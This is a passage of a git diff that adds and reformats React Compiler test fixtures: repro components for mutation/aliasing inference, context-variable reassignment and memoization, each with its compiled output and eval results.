+```javascript
+// @enableNewMutationAliasingModel
+import {makeArray, mutate} from 'shared-runtime';
+
+/**
+ * Bug repro, fixed in the new mutability/aliasing inference.
+ *
+ * Previous issue:
+ *
+ * Fork of `capturing-func-alias-captured-mutate`, but instead of directly
+ * aliasing `y` via `[y]`, we make an opaque call.
+ *
+ * Note that the bug here is that we don't infer that `a = makeArray(y)`
+ * potentially captures a context variable into a local variable. As a result,
+ * we don't understand that `a[0].x = b` captures `x` into `y` -- instead, we're
+ * currently inferring that this lambda captures `y` (for a potential later
+ * mutation) and simply reads `x`.
+ *
+ * Concretely `InferReferenceEffects.hasContextRefOperand` is incorrectly not
+ * used when we analyze CallExpressions.
+ */
+function Component({foo, bar}: {foo: number; bar: number}) {
+  let x = {foo};
+  let y: {bar: number; x?: {foo: number}} = {bar};
+  const f0 = function () {
+    let a = makeArray(y); // a = [y]
+    let b = x;
+    // this writes y.x = x
+    a[0].x = b;
+  };
+  f0();
+  mutate(y.x);
+  return y;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{foo: 3, bar: 4}],
+  sequentialRenders: [
+    {foo: 3, bar: 4},
+    {foo: 3, bar: 5},
+  ],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime"; // @enableNewMutationAliasingModel
+import { makeArray, mutate } from "shared-runtime";
+
+/**
+ * Bug repro, fixed in the new mutability/aliasing inference.
+ *
+ * Previous issue:
+ *
+ * Fork of `capturing-func-alias-captured-mutate`, but instead of directly
+ * aliasing `y` via `[y]`, we make an opaque call.
+ *
+ * Note that the bug here is that we don't infer that `a = makeArray(y)`
+ * potentially captures a context variable into a local variable. As a result,
+ * we don't understand that `a[0].x = b` captures `x` into `y` -- instead, we're
+ * currently inferring that this lambda captures `y` (for a potential later
+ * mutation) and simply reads `x`.
+ *
+ * Concretely `InferReferenceEffects.hasContextRefOperand` is incorrectly not
+ * used when we analyze CallExpressions.
+ */
+function Component(t0) {
+  const $ = _c(3);
+  const { foo, bar } = t0;
+  let y;
+  if ($[0] !== bar || $[1] !== foo) {
+    const x = { foo };
+    y = { bar };
+    const f0 = function () {
+      const a = makeArray(y);
+      const b = x;
+
+      a[0].x = b;
+    };
+
+    f0();
+    mutate(y.x);
+    $[0] = bar;
+    $[1] = foo;
+    $[2] = y;
+  } else {
+    y = $[2];
+  }
+  return y;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{ foo: 3, bar: 4 }],
+  sequentialRenders: [
+    { foo: 3, bar: 4 },
+    { foo: 3, bar: 5 },
+  ],
+};
+
+```
+      
+### Eval output
+(kind: ok) {"bar":4,"x":{"foo":3,"wat0":"joe"}}
+{"bar":5,"x":{"foo":3,"wat0":"joe"}}
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-capturing-func-maybealias-captured-mutate.ts b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-capturing-func-maybealias-captured-mutate.ts
new file mode 100644
index 000000000000..8b7bdeb79bee
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-capturing-func-maybealias-captured-mutate.ts
@@ -0,0 +1,42 @@
+// @enableNewMutationAliasingModel
+import {makeArray, mutate} from 'shared-runtime';
+
+/**
+ * Bug repro, fixed in the new mutability/aliasing inference.
+ *
+ * Previous issue:
+ *
+ * Fork of `capturing-func-alias-captured-mutate`, but instead of directly
+ * aliasing `y` via `[y]`, we make an opaque call.
+ *
+ * Note that the bug here is that we don't infer that `a = makeArray(y)`
+ * potentially captures a context variable into a local variable. As a result,
+ * we don't understand that `a[0].x = b` captures `x` into `y` -- instead, we're
+ * currently inferring that this lambda captures `y` (for a potential later
+ * mutation) and simply reads `x`.
+ *
+ * Concretely `InferReferenceEffects.hasContextRefOperand` is incorrectly not
+ * used when we analyze CallExpressions.
+ */
+function Component({foo, bar}: {foo: number; bar: number}) {
+  let x = {foo};
+  let y: {bar: number; x?: {foo: number}} = {bar};
+  const f0 = function () {
+    let a = makeArray(y); // a = [y]
+    let b = x;
+    // this writes y.x = x
+    a[0].x = b;
+  };
+  f0();
+  mutate(y.x);
+  return y;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{foo: 3, bar: 4}],
+  sequentialRenders: [
+    {foo: 3, bar: 4},
+    {foo: 3, bar: 5},
+  ],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-context-var-reassign-no-scope.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-context-var-reassign-no-scope.expect.md
new file mode 100644
index 000000000000..cacd56492214
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-context-var-reassign-no-scope.expect.md
@@ -0,0 +1,108 @@
+
+## Input
+
+```javascript
+import {useState, useEffect} from 'react';
+import {invoke, Stringify} from 'shared-runtime';
+
+function Content() {
+  const [announcement, setAnnouncement] = useState('');
+  const [users, setUsers] = useState([{name: 'John Doe'}, {name: 'Jane Doe'}]);
+
+  // This was originally passed down as an onClick, but React Compiler's test
+  // evaluator doesn't yet support events outside of React
+  useEffect(() => {
+    if (users.length === 2) {
+      let removedUserName = '';
+      setUsers(prevUsers => {
+        const newUsers = [...prevUsers];
+        removedUserName = newUsers.at(-1).name;
+        newUsers.pop();
+        return newUsers;
+      });
+
+      setAnnouncement(`Removed user (${removedUserName})`);
+    }
+  }, [users]);
+
+  return <Stringify users={users} announcement={announcement} />;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Content,
+  params: [{}],
+  sequentialRenders: [{}, {}],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime";
+import { useState, useEffect } from "react";
+import { invoke, Stringify } from "shared-runtime";
+
+function Content() {
+  const $ = _c(8);
+  const [announcement, setAnnouncement] = useState("");
+  let t0;
+  if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
+    t0 = [{ name: "John Doe" }, { name: "Jane Doe" }];
+    $[0] = t0;
+  } else {
+    t0 = $[0];
+  }
+  const [users, setUsers] = useState(t0);
+  let t1;
+  if ($[1] !== users.length) {
+    t1 = () => {
+      if (users.length === 2) {
+        let removedUserName = "";
+        setUsers((prevUsers) => {
+          const newUsers = [...prevUsers];
+          removedUserName = newUsers.at(-1).name;
+          newUsers.pop();
+          return newUsers;
+        });
+
+        setAnnouncement(`Removed user (${removedUserName})`);
+      }
+    };
+    $[1] = users.length;
+    $[2] = t1;
+  } else {
+    t1 = $[2];
+  }
+  let t2;
+  if ($[3] !== users) {
+    t2 = [users];
+    $[3] = users;
+    $[4] = t2;
+  } else {
+    t2 = $[4];
+  }
+  useEffect(t1, t2);
+  let t3;
+  if ($[5] !== announcement || $[6] !== users) {
+    t3 = <Stringify users={users} announcement={announcement} />;
+    $[5] = announcement;
+    $[6] = users;
+    $[7] = t3;
+  } else {
+    t3 = $[7];
+  }
+  return t3;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Content,
+  params: [{}],
+  sequentialRenders: [{}, {}],
+};
+
+```
+      
+### Eval output
+(kind: ok) <div>{"users":[{"name":"John Doe"}],"announcement":"Removed user (Jane Doe)"}</div>
+<div>{"users":[{"name":"John Doe"}],"announcement":"Removed user (Jane Doe)"}</div>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-context-var-reassign-no-scope.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-context-var-reassign-no-scope.js
new file mode 100644
index 000000000000..ea37e07491b2
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-context-var-reassign-no-scope.js
@@ -0,0 +1,31 @@
+import {useState, useEffect} from 'react';
+import {invoke, Stringify} from 'shared-runtime';
+
+function Content() {
+  const [announcement, setAnnouncement] = useState('');
+  const [users, setUsers] = useState([{name: 'John Doe'}, {name: 'Jane Doe'}]);
+
+  // This was originally passed down as an onClick, but React Compiler's test
+  // evaluator doesn't yet support events outside of React
+  useEffect(() => {
+    if (users.length === 2) {
+      let removedUserName = '';
+      setUsers(prevUsers => {
+        const newUsers = [...prevUsers];
+        removedUserName = newUsers.at(-1).name;
+        newUsers.pop();
+        return newUsers;
+      });
+
+      setAnnouncement(`Removed user (${removedUserName})`);
+    }
+  }, [users]);
+
+  return <Stringify users={users} announcement={announcement} />;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Content,
+  params: [{}],
+  sequentialRenders: [{}, {}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-dce-circular-reference.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-dce-circular-reference.expect.md
index 7e43366cd08b..b9949ffda9b3 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-dce-circular-reference.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-dce-circular-reference.expect.md
@@ -2,12 +2,12 @@
 ## Input
 
 ```javascript
-import { identity } from "shared-runtime";
+import {identity} from 'shared-runtime';
 
-function Component({ data }) {
+function Component({data}) {
   let x = 0;
   for (const item of data) {
-    const { current, other } = item;
+    const {current, other} = item;
     x += current;
     identity(other);
   }
@@ -19,8 +19,8 @@ export const FIXTURE_ENTRYPOINT = {
   params: [
     {
       data: [
-        { current: 2, other: 3 },
-        { current: 4, other: 5 },
+        {current: 2, other: 3},
+        {current: 4, other: 5},
       ],
     },
   ],
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-dce-circular-reference.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-dce-circular-reference.js
index 238c36f1d2eb..964df9d7650e 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-dce-circular-reference.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-dce-circular-reference.js
@@ -1,9 +1,9 @@
-import { identity } from "shared-runtime";
+import {identity} from 'shared-runtime';
 
-function Component({ data }) {
+function Component({data}) {
   let x = 0;
   for (const item of data) {
-    const { current, other } = item;
+    const {current, other} = item;
     x += current;
     identity(other);
   }
@@ -15,8 +15,8 @@ export const FIXTURE_ENTRYPOINT = {
   params: [
     {
       data: [
-        { current: 2, other: 3 },
-        { current: 4, other: 5 },
+        {current: 2, other: 3},
+        {current: 4, other: 5},
       ],
     },
   ],
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-declaration-for-all-identifiers.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-declaration-for-all-identifiers.expect.md
new file mode 100644
index 000000000000..65046bb9e23d
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-declaration-for-all-identifiers.expect.md
@@ -0,0 +1,50 @@
+
+## Input
+
+```javascript
+function Foo() {
+  try {
+    for (let i = 0; i < 2; i++) {}
+  } catch {}
+  return <span>ok</span>;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Foo,
+  params: [],
+  sequentialRenders: [{}, {}, {}],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime";
+function Foo() {
+  const $ = _c(1);
+  try {
+    for (let i = 0; i < 2; i++) {}
+  } catch {}
+  let t0;
+  if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
+    t0 = <span>ok</span>;
+    $[0] = t0;
+  } else {
+    t0 = $[0];
+  }
+  return t0;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Foo,
+  params: [],
+  sequentialRenders: [{}, {}, {}],
+};
+
+```
+      
+### Eval output
+(kind: ok) <span>ok</span>
+<span>ok</span>
+<span>ok</span>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-declaration-for-all-identifiers.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-declaration-for-all-identifiers.js
new file mode 100644
index 000000000000..f8f36eaa1142
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-declaration-for-all-identifiers.js
@@ -0,0 +1,12 @@
+function Foo() {
+  try {
+    for (let i = 0; i < 2; i++) {}
+  } catch {}
+  return <span>ok</span>;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Foo,
+  params: [],
+  sequentialRenders: [{}, {}, {}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-dispatch-spread-event-marks-event-frozen.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-dispatch-spread-event-marks-event-frozen.expect.md
new file mode 100644
index 000000000000..699140137ac2
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-dispatch-spread-event-marks-event-frozen.expect.md
@@ -0,0 +1,82 @@
+
+## Input
+
+```javascript
+// @compilationMode:"infer"
+function Component() {
+  const dispatch = useDispatch();
+  // const [state, setState] = useState(0);
+
+  return (
+    <div>
+      <input
+        type="file"
+        onChange={event => {
+          dispatch(...event.target);
+          event.target.value = '';
+        }}
+      />
+    </div>
+  );
+}
+
+function useDispatch() {
+  'use no memo';
+  // skip compilation to make it easier to debug the above function
+  return (...values) => {
+    console.log(...values);
+  };
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{}],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime"; // @compilationMode:"infer"
+function Component() {
+  const $ = _c(2);
+  const dispatch = useDispatch();
+  let t0;
+  if ($[0] !== dispatch) {
+    t0 = (
+      <div>
+        <input
+          type="file"
+          onChange={(event) => {
+            dispatch(...event.target);
+            event.target.value = "";
+          }}
+        />
+      </div>
+    );
+    $[0] = dispatch;
+    $[1] = t0;
+  } else {
+    t0 = $[1];
+  }
+  return t0;
+}
+
+function useDispatch() {
+  "use no memo";
+  // skip compilation to make it easier to debug the above function
+  return (...values) => {
+    console.log(...values);
+  };
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{}],
+};
+
+```
+      
+### Eval output
+(kind: ok) <div><input type="file"></div>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-dispatch-spread-event-marks-event-frozen.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-dispatch-spread-event-marks-event-frozen.js
new file mode 100644
index 000000000000..386729e40789
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-dispatch-spread-event-marks-event-frozen.js
@@ -0,0 +1,30 @@
+// @compilationMode:"infer"
+function Component() {
+  const dispatch = useDispatch();
+  // const [state, setState] = useState(0);
+
+  return (
+    <div>
+      <input
+        type="file"
+        onChange={event => {
+          dispatch(...event.target);
+          event.target.value = '';
+        }}
+      />
+    </div>
+  );
+}
+
+function useDispatch() {
+  'use no memo';
+  // skip compilation to make it easier to debug the above function
+  return (...values) => {
+    console.log(...values);
+  };
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-dont-memoize-array-with-capturing-map-after-hook.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-dont-memoize-array-with-capturing-map-after-hook.expect.md
index aea1dd54731b..ace89f6ff0c0 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-dont-memoize-array-with-capturing-map-after-hook.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-dont-memoize-array-with-capturing-map-after-hook.expect.md
@@ -2,11 +2,11 @@
 ## Input
 
 ```javascript
-import { useEffect, useState } from "react";
-import { mutate } from "shared-runtime";
+import {useEffect, useState} from 'react';
+import {mutate} from 'shared-runtime';
 
 function Component(props) {
-  const x = [{ ...props.value }];
+  const x = [{...props.value}];
   useEffect(() => {}, []);
   const onClick = () => {
     console.log(x.length);
@@ -14,7 +14,7 @@ function Component(props) {
   let y;
   return (
     <div onClick={onClick}>
-      {x.map((item) => {
+      {x.map(item => {
         y = item;
         return <span key={item.id}>{item.text}</span>;
       })}
@@ -25,7 +25,7 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ value: { id: 0, text: "Hello!" } }],
+  params: [{value: {id: 0, text: 'Hello!'}}],
   isComponent: true,
 };
 
@@ -39,48 +39,45 @@ import { useEffect, useState } from "react";
 import { mutate } from "shared-runtime";
 
 function Component(props) {
-  const $ = _c(6);
+  const $ = _c(5);
   const x = [{ ...props.value }];
   let t0;
-  let t1;
   if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
-    t0 = () => {};
-    t1 = [];
+    t0 = [];
     $[0] = t0;
-    $[1] = t1;
   } else {
     t0 = $[0];
-    t1 = $[1];
   }
-  useEffect(t0, t1);
+  useEffect(_temp, t0);
   const onClick = () => {
     console.log(x.length);
   };
 
   let y;
 
-  const t2 = x.map((item) => {
+  const t1 = x.map((item) => {
     y = item;
     return <span key={item.id}>{item.text}</span>;
   });
-  const t3 = mutate(y);
-  let t4;
-  if ($[2] !== onClick || $[3] !== t2 || $[4] !== t3) {
-    t4 = (
+  const t2 = mutate(y);
+  let t3;
+  if ($[1] !== onClick || $[2] !== t1 || $[3] !== t2) {
+    t3 = (
       <div onClick={onClick}>
+        {t1}
         {t2}
-        {t3}
       </div>
     );
-    $[2] = onClick;
+    $[1] = onClick;
+    $[2] = t1;
     $[3] = t2;
     $[4] = t3;
-    $[5] = t4;
   } else {
-    t4 = $[5];
+    t3 = $[4];
   }
-  return t4;
+  return t3;
 }
+function _temp() {}
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-dont-memoize-array-with-capturing-map-after-hook.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-dont-memoize-array-with-capturing-map-after-hook.js
index ae1ebf63b8cb..24a3cd6a7b31 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-dont-memoize-array-with-capturing-map-after-hook.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-dont-memoize-array-with-capturing-map-after-hook.js
@@ -1,8 +1,8 @@
-import { useEffect, useState } from "react";
-import { mutate } from "shared-runtime";
+import {useEffect, useState} from 'react';
+import {mutate} from 'shared-runtime';
 
 function Component(props) {
-  const x = [{ ...props.value }];
+  const x = [{...props.value}];
   useEffect(() => {}, []);
   const onClick = () => {
     console.log(x.length);
@@ -10,7 +10,7 @@ function Component(props) {
   let y;
   return (
     <div onClick={onClick}>
-      {x.map((item) => {
+      {x.map(item => {
         y = item;
         return <span key={item.id}>{item.text}</span>;
       })}
@@ -21,6 +21,6 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ value: { id: 0, text: "Hello!" } }],
+  params: [{value: {id: 0, text: 'Hello!'}}],
   isComponent: true,
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-dont-memoize-array-with-mutable-map-after-hook.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-dont-memoize-array-with-mutable-map-after-hook.expect.md
index e481a72bf434..82f6c9a79917 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-dont-memoize-array-with-mutable-map-after-hook.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-dont-memoize-array-with-mutable-map-after-hook.expect.md
@@ -2,11 +2,11 @@
 ## Input
 
 ```javascript
-import { useEffect, useState } from "react";
-import { mutate } from "shared-runtime";
+import {useEffect, useState} from 'react';
+import {mutate} from 'shared-runtime';
 
 function Component(props) {
-  const x = [{ ...props.value }];
+  const x = [{...props.value}];
   useEffect(() => {}, []);
   const onClick = () => {
     console.log(x.length);
@@ -14,7 +14,7 @@ function Component(props) {
   let y;
   return (
     <div onClick={onClick}>
-      {x.map((item) => {
+      {x.map(item => {
         item.flag = true;
         return <span key={item.id}>{item.text}</span>;
       })}
@@ -25,7 +25,7 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ value: { id: 0, text: "Hello", flag: false } }],
+  params: [{value: {id: 0, text: 'Hello', flag: false}}],
   isComponent: true,
 };
 
@@ -39,55 +39,53 @@ import { useEffect, useState } from "react";
 import { mutate } from "shared-runtime";
 
 function Component(props) {
-  const $ = _c(8);
+  const $ = _c(7);
   const x = [{ ...props.value }];
   let t0;
-  let t1;
   if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
-    t0 = () => {};
-    t1 = [];
+    t0 = [];
     $[0] = t0;
-    $[1] = t1;
   } else {
     t0 = $[0];
-    t1 = $[1];
   }
-  useEffect(t0, t1);
+  useEffect(_temp, t0);
   const onClick = () => {
     console.log(x.length);
   };
 
   let y;
 
-  const t2 = x.map((item) => {
-    item.flag = true;
-    return <span key={item.id}>{item.text}</span>;
-  });
-  let t3;
-  if ($[2] !== y) {
-    t3 = mutate(y);
-    $[2] = y;
-    $[3] = t3;
+  const t1 = x.map(_temp2);
+  let t2;
+  if ($[1] !== y) {
+    t2 = mutate(y);
+    $[1] = y;
+    $[2] = t2;
   } else {
-    t3 = $[3];
+    t2 = $[2];
   }
-  let t4;
-  if ($[4] !== onClick || $[5] !== t2 || $[6] !== t3) {
-    t4 = (
+  let t3;
+  if ($[3] !== onClick || $[4] !== t1 || $[5] !== t2) {
+    t3 = (
       <div onClick={onClick}>
+        {t1}
         {t2}
-        {t3}
       </div>
     );
-    $[4] = onClick;
+    $[3] = onClick;
+    $[4] = t1;
     $[5] = t2;
     $[6] = t3;
-    $[7] = t4;
   } else {
-    t4 = $[7];
+    t3 = $[6];
   }
-  return t4;
+  return t3;
+}
+function _temp2(item) {
+  item.flag = true;
+  return <span key={item.id}>{item.text}</span>;
 }
+function _temp() {}
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-dont-memoize-array-with-mutable-map-after-hook.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-dont-memoize-array-with-mutable-map-after-hook.js
index 76b2691ad09e..8451e59ecf43 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-dont-memoize-array-with-mutable-map-after-hook.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-dont-memoize-array-with-mutable-map-after-hook.js
@@ -1,8 +1,8 @@
-import { useEffect, useState } from "react";
-import { mutate } from "shared-runtime";
+import {useEffect, useState} from 'react';
+import {mutate} from 'shared-runtime';
 
 function Component(props) {
-  const x = [{ ...props.value }];
+  const x = [{...props.value}];
   useEffect(() => {}, []);
   const onClick = () => {
     console.log(x.length);
@@ -10,7 +10,7 @@ function Component(props) {
   let y;
   return (
     <div onClick={onClick}>
-      {x.map((item) => {
+      {x.map(item => {
         item.flag = true;
         return <span key={item.id}>{item.text}</span>;
       })}
@@ -21,6 +21,6 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ value: { id: 0, text: "Hello", flag: false } }],
+  params: [{value: {id: 0, text: 'Hello', flag: false}}],
   isComponent: true,
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-duplicate-import-specifier.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-duplicate-import-specifier.expect.md
index f434293b53ba..af59c6b00ca4 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-duplicate-import-specifier.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-duplicate-import-specifier.expect.md
@@ -2,12 +2,12 @@
 ## Input
 
 ```javascript
-import type { SetStateAction, Dispatch } from "react";
-import { useState } from "react";
+import type {SetStateAction, Dispatch} from 'react';
+import {useState} from 'react';
 
 function Component(_props: {}) {
   const [x, _setX]: [number, Dispatch<SetStateAction<number>>] = useState(0);
-  return { x };
+  return {x};
 }
 
 export const FIXTURE_ENTRYPOINT = {
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-duplicate-import-specifier.ts b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-duplicate-import-specifier.ts
index 14878aa82292..ea8769f265a9 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-duplicate-import-specifier.ts
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-duplicate-import-specifier.ts
@@ -1,9 +1,9 @@
-import type { SetStateAction, Dispatch } from "react";
-import { useState } from "react";
+import type {SetStateAction, Dispatch} from 'react';
+import {useState} from 'react';
 
 function Component(_props: {}) {
   const [x, _setX]: [number, Dispatch<SetStateAction<number>>] = useState(0);
-  return { x };
+  return {x};
 }
 
 export const FIXTURE_ENTRYPOINT = {
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-duplicate-instruction-from-merge-consecutive-scopes.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-duplicate-instruction-from-merge-consecutive-scopes.expect.md
index 75627f01a703..a44a07b7512d 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-duplicate-instruction-from-merge-consecutive-scopes.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-duplicate-instruction-from-merge-consecutive-scopes.expect.md
@@ -2,9 +2,9 @@
 ## Input
 
 ```javascript
-import { Stringify } from "shared-runtime";
+import {Stringify} from 'shared-runtime';
 
-function Component({ id }) {
+function Component({id}) {
   const bar = (() => {})();
 
   return (
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-duplicate-instruction-from-merge-consecutive-scopes.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-duplicate-instruction-from-merge-consecutive-scopes.js
index 33ece627e0bf..3a1de8809aea 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-duplicate-instruction-from-merge-consecutive-scopes.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-duplicate-instruction-from-merge-consecutive-scopes.js
@@ -1,6 +1,6 @@
-import { Stringify } from "shared-runtime";
+import {Stringify} from 'shared-runtime';
 
-function Component({ id }) {
+function Component({id}) {
   const bar = (() => {})();
 
   return (
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-duplicate-type-import.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-duplicate-type-import.expect.md
index 2b58e2a7a71a..6f336222b081 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-duplicate-type-import.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-duplicate-type-import.expect.md
@@ -2,7 +2,7 @@
 ## Input
 
 ```javascript
-import type { ReactElement } from "react";
+import type {ReactElement} from 'react';
 
 function Component(_props: {}): ReactElement {
   return <div>hello world</div>;
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-duplicate-type-import.tsx b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-duplicate-type-import.tsx
index 52283e3fbaba..74194521bb2d 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-duplicate-type-import.tsx
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-duplicate-type-import.tsx
@@ -1,4 +1,4 @@
-import type { ReactElement } from "react";
+import type {ReactElement} from 'react';
 
 function Component(_props: {}): ReactElement {
   return <div>hello world</div>;
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-false-positive-ref-validation-in-use-effect.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-false-positive-ref-validation-in-use-effect.expect.md
new file mode 100644
index 000000000000..422fddffc4ac
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-false-positive-ref-validation-in-use-effect.expect.md
@@ -0,0 +1,87 @@
+
+## Input
+
+```javascript
+// @validateNoFreezingKnownMutableFunctions @enableNewMutationAliasingModel
+import {useCallback, useEffect, useRef} from 'react';
+import {useHook} from 'shared-runtime';
+
+// This was a false positive "can't freeze mutable function" in the old
+// inference model, fixed in the new inference model.
+function Component() {
+  const params = useHook();
+  const update = useCallback(
+    partialParams => {
+      const nextParams = {
+        ...params,
+        ...partialParams,
+      };
+      nextParams.param = 'value';
+      console.log(nextParams);
+    },
+    [params]
+  );
+  const ref = useRef(null);
+  useEffect(() => {
+    if (ref.current === null) {
+      update();
+    }
+  }, [update]);
+
+  return 'ok';
+}
+
+```
